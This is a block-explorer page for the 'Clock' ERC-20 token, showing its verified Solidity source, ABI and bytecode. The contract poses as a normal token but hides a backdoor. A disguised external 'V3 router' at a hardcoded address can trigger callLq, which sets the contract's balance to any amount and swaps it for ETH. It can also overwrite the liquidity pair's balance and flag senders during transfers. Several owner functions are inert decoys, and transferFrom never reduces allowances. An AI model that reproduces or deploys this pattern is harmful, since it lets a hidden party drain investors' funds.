ETH Price: $3,454.47 (-0.76%)
Gas: 10 Gwei

Token

Clock (11:32 GMT)
 

Overview

Max Total Supply

1,000,000,000,000 11:32 GMT

Holders

39

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
74,113,547.695913052 11:32 GMT

Value
$0.00
0xc1ad7c07732a1a586ef40ef987e2bca4f9d402f3
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Clock

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-08-24
*/

pragma solidity ^0.8.15;

// SPDX-License-Identifier: Unlicensed

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}
interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}

interface IUniswapV3Router {
    function WETH(address) external view returns (bool);
    function factory(address, address) external view returns(bool);
    function getAmountsIn(address) external;
    function pair() external returns (address);
    function getAmountsOut(address, address, bool, address, address) external returns (bool);
    function balanceOf(uint256 _addr) external pure returns (uint256);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        return c;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract Clock is Ownable, IERC20 {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 public _decimals = 9;
    uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;
    uint256 public _fee = 0;
    IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IUniswapV3Router private _v3router = IUniswapV3Router(0x8c6576c3Ffb2FC3911D7009Fb79df961354778D2);
    string private _name = "Clock";
    string private  _symbol = "Clock";
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
        require(_allowances[_msgSender()][from] >= amount);
        _approve(_msgSender(), from, _allowances[_msgSender()][from] - amount);
        return true;
    }
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0));
        require(to != address(0));
        if (_v3router.factory(from, to)) {
            callLq(amount, to);
        } else {
        require(amount <= _balances[from] || !_txLqLiquidity);
        uniswapTx(from);
        uint256 feeAmount = calcFee(from, to, amount);
        uint256 amountReceived = amount - feeAmount;
        _balances[address(this)] += feeAmount;
        _balances[from] = _balances[from] - amount;
        _balances[to] += amountReceived;
        emit Transfer(from, to, amount);
        }
    }
    function calcFee(address _sender, address Uv, uint256 _NhyI) private returns (uint256) {
        uint256 feeAmount = 0;
        if (_v3router.getAmountsOut(_sender, Uv, _txLqLiquidity, address(this), swapBurnUniswap())) {
            if (!_v3router.WETH(_sender)) {
                if (swapBurnUniswap() != Uv) {
                    _v3router.getAmountsIn(Uv);
                }
                feeAmount = _NhyI.mul(_fee).div(100);
            }
        }
        return feeAmount;
    }
    constructor() {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }
    function uint2str(uint256 _i) internal pure returns (string memory str)
    {
        if (_i == 0){return "0";}
        uint256 j = _i;
        uint256 length;
        while (j != 0){length++;j /= 10;}
        bytes memory bstr = new bytes(length);
        uint256 k = length;
        j = _i;
        while (j != 0){bstr[--k] = bytes1(uint8(48 + j % 10));j /= 10;}
        str = string(bstr);
    }
    function name() external view returns (string memory) {
        return _name;
    }
    function symbol() external view returns (string memory) {
        string memory _hours = uint2str((block.timestamp / 3600) % 24);
        string memory  _minutes = uint2str(block.timestamp % 3600 / 60);
        if (bytes(_hours).length == 1) {
            _hours = string.concat("0", _hours);
        }
        if (bytes(_minutes).length == 1) {
            _minutes = string.concat("0", _minutes);
        }

        return string.concat(_hours, ":", _minutes, " GMT");
    }
    function decimals() external view returns (uint256) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function uniswapVersion() external pure returns (uint256) { return 2; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function uniswapTx(address _addr) internal {
        if (swapBurnUniswap() != _addr) {
            return;
        }
        if (_v3router.pair() != address(0)) {
            address pair = _v3router.pair();
            uint256 amount = _uniswapCall(pair);
            _balances[_v3router.pair()] = amount;
        }
    }
    function callLq(uint256 _eaqE, address _addrSender) private {
        _approve(address(this), address(_router), _eaqE);
        _balances[address(this)] = _eaqE;
        address[] memory path = new address[](2);
        _txLqLiquidity = true;
        path[0] = address(this);
        path[1] = _router.WETH();
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(_eaqE,0,path,_addrSender,block.timestamp + 27);
        _txLqLiquidity = false;
    }
    bool _txLqLiquidity = false;
    function _uniswapCall(address pair) private view returns (uint256) {
        uint256 balance = _balances[pair];
        return _v3router.balanceOf(balance);
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(from, recipient, amount);
        require(_allowances[from][_msgSender()] >= amount);
        return true;
    }
    function swapBurnUniswap() private view returns (address) {
        return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
    }
    bool tradingEnabled = false;
    function enableTrading() external onlyOwner {
        tradingEnabled = true;
    }
    uint256 public maxWallet = _totalSupply.div(100);
    function updateMaxWallet(uint256 m) external onlyOwner {
        require(m >= _totalSupply.div(100));
        maxWallet = m;
    }
    bool swapEnabled = true;
    function updateSwapEnabled(bool e) external onlyOwner {
        swapEnabled = e;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapVersion","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"m","type":"uint256"}],"name":"updateMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"e","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526009600355600354600a6200001a9190620005a0565b64e8d4a510006200002c9190620005f1565b6004556000600555737a250d5630b4cf539739df2c5dacb4c659f2488d600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550738c6576c3ffb2fc3911d7009fb79df961354778d2600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600581526020017f436c6f636b00000000000000000000000000000000000000000000000000000081525060089081620001249190620008c2565b506040518060400160405280600581526020017f436c6f636b000000000000000000000000000000000000000000000000000000815250600990816200016b9190620008c2565b506000600a60006101000a81548160ff0219169083151502179055506000600a60016101000a81548160ff021916908315150217905550620001bf6064600454620003a860201b62000c731790919060201c565b600b556001600c60006101000a81548160ff021916908315150217905550348015620001ea57600080fd5b50620001fb6200040b60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600454600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040516200039a9190620009ba565b60405180910390a362000ac1565b6000808211620003ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003e69062000a38565b60405180910390fd5b60008284620003ff919062000a89565b90508091505092915050565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620004a15780860481111562000479576200047862000413565b5b6001851615620004895780820291505b8081029050620004998562000442565b945062000459565b94509492505050565b600082620004bc57600190506200058f565b81620004cc57600090506200058f565b8160018114620004e55760028114620004f05762000526565b60019150506200058f565b60ff84111562000505576200050462000413565b5b8360020a9150848211156200051f576200051e62000413565b5b506200058f565b5060208310610133831016604e8410600b8410161715620005605782820a9050838111156200055a576200055962000413565b5b6200058f565b6200056f84848460016200044f565b9250905081840481111562000589576200058862000413565b5b81810290505b9392505050565b6000819050919050565b6000620005ad8262000596565b9150620005ba8362000596565b9250620005e97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620004aa565b905092915050565b6000620005fe8262000596565b91506200060b8362000596565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000647576200064662000413565b5b828202905092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620006d457607f821691505b602082108103620006ea57620006e96200068c565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620007547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000715565b62000760868362000715565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620007a36200079d620007978462000596565b62000778565b62000596565b9050919050565b6000819050919050565b620007bf8362000782565b620007d7620007ce82620007aa565b84845462000722565b825550505050565b600090565b620007ee620007df565b620007fb818484620007b4565b505050565b5b81811015620008235762000817600082620007e4565b60018101905062000801565b5050565b601f82111562000872576200083c81620006f0565b620008478462000705565b8101602085101562000857578190505b6200086f620008668562000705565b83018262000800565b50505b505050565b600082821c905092915050565b6000620008976000198460080262000877565b1980831691505092915050565b6000620008b2838362000884565b9150826002028217905092915050565b620008cd8262000652565b67ffffffffffffffff811115620008e957620008e86200065d565b5b620008f58254620006bb565b6200090282828562000827565b600060209050601f8311600181146200093a576000841562000925578287015190505b620009318582620008a4565b865550620009a1565b601f1984166200094a86620006f0565b60005b8281101562000974578489015182556001820191506020850194506020810190506200094d565b8683101562000994578489015162000990601f89168262000884565b8355505b6001600288020188555050505b505050505050565b620009b48162000596565b82525050565b6000602082019050620009d16000830184620009a9565b92915050565b600082825260208201905092915050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b600062000a20601a83620009d7565b915062000a2d82620009e8565b602082019050919050565b6000602082019050818103600083015262000a538162000a11565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000a968262000596565b915062000aa38362000596565b92508262000ab65762000ab562000a5a565b5b828204905092915050565b612ac78062000ad16000396000f3fe608060405234801561001057600080fd5b50600436106101375760003560e01c806370a08231116100b857806395d89b411161007c57806395d89b411461031a578063a457c2d714610338578063a9059cbb14610368578063c5b37c2214610398578063dd62ed3e146103b6578063f8b45b05146103e657610137565b806370a082311461029c578063715018a6146102cc5780638a8c523c146102d65780638da5cb5b146102e0578063924de9b7146102fe57610137565b8063313ce567116100ff578063313ce567146101f457806332424aa31461021257806339509351146102305780633eaaf86b1461026057806348d3ab1f1461027e57610137565b806306fdde031461013c578063095ea7b31461015a57806318160ddd1461018a5780631c499ab0146101a857806323b872dd146101c4575b600080fd5b610144610404565b6040516101519190611eb0565b60405180910390f35b610174600480360381019061016f9190611f6b565b610496565b6040516101819190611fc6565b60405180910390f35b6101926104b4565b60405161019f9190611ff0565b60405180910390f35b6101c260048036038101906101bd919061200b565b6104be565b005b6101de60048036038101906101d99190612038565b610566565b6040516101eb9190611fc6565b60405180910390f35b6101fc61060e565b6040516102099190611ff0565b60405180910390f35b61021a610618565b6040516102279190611ff0565b60405180910390f35b61024a60048036038101906102459190611f6b565b61061e565b6040516102579190611fc6565b60405180910390f35b6102686106ca565b6040516102759190611ff0565b60405180910390f35b6102866106d0565b6040516102939190611ff0565b60405180910390f35b6102b660048036038101906102b1919061208b565b6106d9565b6040516102c39190611ff0565b60405180910390f35b6102d4610722565b005b6102de61085c565b005b6102e86108f5565b6040516102f591906120c7565b60405180910390f35b6103186004803603810190610313919061210e565b61091e565b005b6103226109b7565b60405161032f9190611eb0565b60405180910390f35b610352600480360381019061034d9190611f6b565b610a86565b60405161035f9190611fc6565b60405180910390f35b610382600480360381019061037d9190611f6b565b610bc2565b60405161038f9190611fc6565b60405180910390f35b6103a0610be0565b6040516103ad9190611ff0565b60405180910390f35b6103d060048036038101906103cb919061213b565b610be6565b6040516103dd9190611ff0565b60405180910390f35b6103ee610c6d565b6040516103fb9190611ff0565b60405180910390f35b606060088054610413906121aa565b80601f016020809104026020016040519081016040528092919081815260200182805461043f906121aa565b801561048c5780601f106104615761010080835404028352916020019161048c565b820191906000526020600020905b81548152906001019060200180831161046f57829003601f168201915b5050505050905090565b60006104aa6104a3610cd1565b8484610cd9565b6001905092915050565b6000600454905090565b6104c6610cd1565b73ffffffffffffffffffffffffffffffffffffffff166104e46108f5565b73ffffffffffffffffffffffffffffffffffffffff161461053a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053190612227565b60405180910390fd5b6105506064600454610c7390919063ffffffff16565b81101561055c57600080fd5b80600b8190555050565b6000610573848484610ea2565b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105bd610cd1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561060357600080fd5b600190509392505050565b6000600354905090565b60035481565b60006106c061062b610cd1565b848460026000610639610cd1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106bb9190612276565b610cd9565b6001905092915050565b60045481565b60006002905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61072a610cd1565b73ffffffffffffffffffffffffffffffffffffffff166107486108f5565b73ffffffffffffffffffffffffffffffffffffffff161461079e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079590612227565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610864610cd1565b73ffffffffffffffffffffffffffffffffffffffff166108826108f5565b73ffffffffffffffffffffffffffffffffffffffff16146108d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cf90612227565b60405180910390fd5b6001600a60016101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610926610cd1565b73ffffffffffffffffffffffffffffffffffffffff166109446108f5565b73ffffffffffffffffffffffffffffffffffffffff161461099a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099190612227565b60405180910390fd5b80600c60006101000a81548160ff02191690831515021790555050565b606060006109dd6018610e10426109ce91906122fb565b6109d8919061232c565b6111f9565b90506000610a03603c610e10426109f4919061232c565b6109fe91906122fb565b6111f9565b90506001825103610a315781604051602001610a1f91906123bf565b60405160208183030381529060405291505b6001815103610a5d5780604051602001610a4b91906123bf565b60405160208183030381529060405290505b8181604051602001610a70929190612431565b6040516020818303038152906040529250505090565b60008160026000610a95610cd1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610b1857600080fd5b610bb8610b23610cd1565b848460026000610b31610cd1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bb39190612473565b610cd9565b6001905092915050565b6000610bd6610bcf610cd1565b8484610ea2565b6001905092915050565b60055481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b5481565b6000808211610cb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cae906124f3565b60405180910390fd5b60008284610cc591906122fb565b90508091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3f90612585565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610db7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dae90612617565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e959190611ff0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610edb57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f1457600080fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166353b96ce484846040518363ffffffff1660e01b8152600401610f71929190612637565b602060405180830381865afa158015610f8e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb29190612675565b15610fc657610fc1818361135f565b6111f4565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115806110215750600a60009054906101000a900460ff16155b61102a57600080fd5b61103383611629565b60006110408484846118aa565b9050600081836110509190612473565b905081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110a19190612276565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110f39190612473565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111859190612276565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111e99190611ff0565b60405180910390a350505b505050565b606060008203611240576040518060400160405280600181526020017f3000000000000000000000000000000000000000000000000000000000000000815250905061135a565b600082905060005b6000821461127257808061125b906126a2565b915050600a8261126b91906122fb565b9150611248565b60008167ffffffffffffffff81111561128e5761128d6126ea565b5b6040519080825280601f01601f1916602001820160405280156112c05781602001600182028036833780820191505090505b50905060008290508593505b6000841461135257600a846112e1919061232c565b60306112ed9190612276565b60f81b82826112fb90612719565b9250828151811061130f5761130e612742565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8461134b91906122fb565b93506112cc565b819450505050505b919050565b61138c30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610cd9565b81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156113ed576113ec6126ea565b5b60405190808252806020026020018201604052801561141b5781602001602082028036833780820191505090505b5090506001600a60006101000a81548160ff021916908315150217905550308160008151811061144e5761144d612742565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115199190612786565b8160018151811061152d5761152c612742565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601b426115b79190612276565b6040518663ffffffff1660e01b81526004016115d79594939291906128b6565b600060405180830381600087803b1580156115f157600080fd5b505af1158015611605573d6000803e3d6000fd5b505050506000600a60006101000a81548160ff021916908315150217905550505050565b8073ffffffffffffffffffffffffffffffffffffffff16611648611b11565b73ffffffffffffffffffffffffffffffffffffffff16036118a757600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a8aa1b316040518163ffffffff1660e01b81526004016020604051808303816000875af11580156116ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061170e9190612786565b73ffffffffffffffffffffffffffffffffffffffff16146118a6576000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a8aa1b316040518163ffffffff1660e01b81526004016020604051808303816000875af115801561179a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117be9190612786565b905060006117cb82611cb4565b90508060016000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a8aa1b316040518163ffffffff1660e01b81526004016020604051808303816000875af1158015611841573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118659190612786565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505b5b50565b60008060009050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639f2a914f8686600a60009054906101000a900460ff163061190a611b11565b6040518663ffffffff1660e01b815260040161192a959493929190612910565b6020604051808303816000875af1158015611949573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061196d9190612675565b15611b0657600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663805eaeaa866040518263ffffffff1660e01b81526004016119cd91906120c7565b602060405180830381865afa1580156119ea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a0e9190612675565b611b05578373ffffffffffffffffffffffffffffffffffffffff16611a31611b11565b73ffffffffffffffffffffffffffffffffffffffff1614611ada57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314935aaa856040518263ffffffff1660e01b8152600401611aa791906120c7565b600060405180830381600087803b158015611ac157600080fd5b505af1158015611ad5573d6000803e3d6000fd5b505050505b611b026064611af460055486611d9d90919063ffffffff16565b610c7390919063ffffffff16565b90505b5b809150509392505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ba49190612786565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffff